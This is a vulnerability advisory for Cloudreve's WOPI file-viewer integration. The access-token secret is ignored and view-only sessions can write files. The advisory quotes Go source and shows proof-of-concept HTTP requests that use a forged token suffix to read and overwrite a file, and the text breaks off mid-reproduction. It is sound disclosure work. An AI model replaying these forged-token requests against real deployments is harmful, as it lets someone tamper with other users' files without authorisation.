Cloudreve WOPI view sessions can write files and WOPI access token secret is ignored
Summary
Cloudreve WOPI access tokens are generated as <session-id>.<random-secret>, but the WOPI middleware validates only the session id prefix and never compares the supplied token to the stored token. In addition, a WOPI viewer session does not store or enforce the requested viewer action. A session created for a view or preview action can still call WOPI write routes if the underlying file is writable by the session user.
Impact
A WOPI integration that is only expected to view a user's file can modify that file through the WOPI write endpoints. If the WOPI URL or session id leaks, the random token suffix does not protect the session because any suffix is accepted for an existing session id.
This affects deployments that configure WOPI viewers for user files. The attacker primitive is strongest when a malicious or compromised WOPI viewer receives a view-only URL and then writes content back to Cloudreve.
Affected version
Verified in source and runtime on latest master commit ba2e870bbd17f1918dd2321de861e453f696d6a3 and latest observed tag 4.16.1.
Technical details
Cloudreve creates WOPI viewer sessions in pkg/filemanager/manager/viewer.go:
```go
sessionID := uuid.Must(uuid.NewV4()).String()
token := util.RandStringRunesCrypto(128)
sessionCache := &ViewerSessionCache{
ID: sessionID,
Uri: file.Uri(false).String(),
UserID: m.user.ID,
ViewerID: viewer.ID,
FileID: file.ID(),
Version: version,
Token: fmt.Sprintf("%s.%s", sessionID, token),
}
```
The token includes a 128-character random suffix, but middleware.ViewerSessionValidation() only uses the prefix before the dot:
```go
accessToken := strings.Split(c.Query(wopi.AccessTokenQuery), ".")
if len(accessToken) != 2 {
...
}
sessionRaw, exist := store.Get(manager.ViewerSessionCachePrefix + accessToken[0])
```
The middleware checks that the file id matches the loaded session, but it never compares c.Query("access_token") with session.Token. As a result, <valid-session-id>.anything is accepted.
The WOPI routes are exposed without normal session authentication and rely on this middleware:
```go
wopi := noAuth.Group("file/wopi", middleware.HashID(hashid.FileID), middleware.ViewerSessionValidation())
wopi.GET(":id", controllers.CheckFileInfo)
wopi.GET(":id/contents", controllers.GetFile)
wopi.POST(":id/contents", controllers.PutFile)
wopi.POST(":id", controllers.ModifyFile)
```
The write routes are not protected by a session-level write check. CreateViewerSessionService accepts preferred_action, but ViewerSessionCache has no action or write-permission field and CreateViewerSession does not persist the chosen action. The requested action is only used to generate the WOPI source URL:
```go
wopiSrc, err := wopi.GenerateWopiSrc(c, s.PreferredAction, targetViewer, viewerSession)
```
WopiService.PutContent() checks only the underlying filesystem upload capability:
```go
file, err := m.Get(c, uri, dbfs.WithRequiredCapabilities(dbfs.NavigatorCapabilityUploadFile), dbfs.WithNotRoot())
```
It does not check whether the WOPI session was created for an edit action.
Reproduction
The following sequence was verified against a disposable local Cloudreve instance built from the affected commit.
1. Configure a WOPI viewer in Cloudreve.
2. Create a user-owned file, for example cloudreve://my/wopi.txt, containing original content.
3. Create a viewer session with preferred_action set to view:
```http
PUT /api/v4/file/viewerSession HTTP/1.1
Authorization: Bearer <user-token>
Content-Type: application/json
{
"uri": "cloudreve://my/wopi.txt",
"version": "",
"viewer_id": "poc-wopi",
"preferred_action": "view"
}
```
Observed response:
```json
{
"session": {
"id": "a2d03f1b-e310-4b2a-9baf-38556fa2d5d1",
"access_token": "a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.<128-char-random-secret>"
}
}
```
4. Replace the token suffix with any value:
```http
GET /api/v4/file/wopi/4xc5?access_token=a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.forged_suffix_accepted HTTP/1.1
```
Observed response: 200 OK. The same request with an unknown session id returned 403 Forbidden, confirming the middleware validates the session id prefix but ignores the secret suffix.
5. Use the forged token from the view-created session to read content:
```http
GET /api/v4/file/wopi/4xc5/contents?access_token=a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.forged_suffix_accepted HTTP/1.1
```
Observed response:
```http
HTTP/1.1 200 OK
Content-Length: 16
Etag: "1bIo"
original content
```
6. Use the same forged token from the view-created session to write content:
```http
POST /api/v4/file/wopi/4xc5/contents?access_token=a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.forged_suffix_accepted HTTP/1.1
X-WOPI-Lock: cloudreve-poc
Content-Type: application/octet-stream
runtime modified via view session forged suffix
```
Observed
